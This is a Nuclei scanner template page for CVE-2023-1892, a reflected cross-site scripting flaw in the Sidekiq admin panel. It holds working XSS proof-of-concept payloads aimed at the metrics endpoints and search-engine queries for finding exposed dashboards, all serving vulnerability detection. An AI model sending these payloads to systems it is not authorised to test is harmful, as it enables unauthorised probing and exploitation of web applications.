Sidekiq < 7.0.8 - Cross-Site Scripting

ID: CVE-2023-1892

Severity: critical

Author: ritikchaddha,princechaddha

Tags: cve,cve2023,sidekiq,contribsys,xss

Description

An XSS vulnerability on a Sidekiq admin panel can pose serious risks to the security and functionality of the system.

YAML Source

id: CVE-2023-1892

info:
  name: Sidekiq < 7.0.8 - Cross-Site Scripting
  author: ritikchaddha,princechaddha
  severity: critical
  description: |
    An XSS vulnerability on a Sidekiq admin panel can pose serious risks to the security and functionality of the system.
  reference:
    - https://huntr.com/bounties/e35e5653-c429-4fb8-94a3-cbc123ae4777
    - https://github.com/sidekiq/sidekiq/commit/458fdf74176a9881478c48dc5cf0269107b22214
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1892
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2023-1892
    cwe-id: CWE-79
    epss-score: 0.02595
    epss-percentile: 0.90273
    cpe: cpe:2.3:a:contribsys:sidekiq:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: contribsys
    product: sidekiq
    shodan-query: http.title:"sidekiq"
    fofa-query:
      - title="Sidekiq"
      - title="sidekiq"
    google-query: intitle:"sidekiq"
  tags: cve,cve2023,sidekiq,contribsys,xss
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/queues"

    matchers:
      - type: word
        internal: true
        part: body
        words:
          - "Sidekiq"
          - "Dashboard</a>"
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/metrics?period=%22%3E%3Cimg/src/onerror=alert(document.domain)%3E"
      - "{{BaseURL}}/metrics/SanityChecksJob?period=%22%3E%3Cimg/src/onerror=alert(document.domain)%3E"
      - "{{BaseURL}}/metrics/ActiveStorage::PurgeJob?period=%22%3E%3Cimg/src/onerror=alert(document.domain)%3E"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img/src/onerror=alert(document.domain)>"

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205e75b4b6e98bc44ba71bedda073a7e8cbfbbde700e78139d27bbffe5e1188a7a022100f09b625862f073ac965492746e885b828526ee41e369d5ac4997dd7555a60974:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-1892.yaml"

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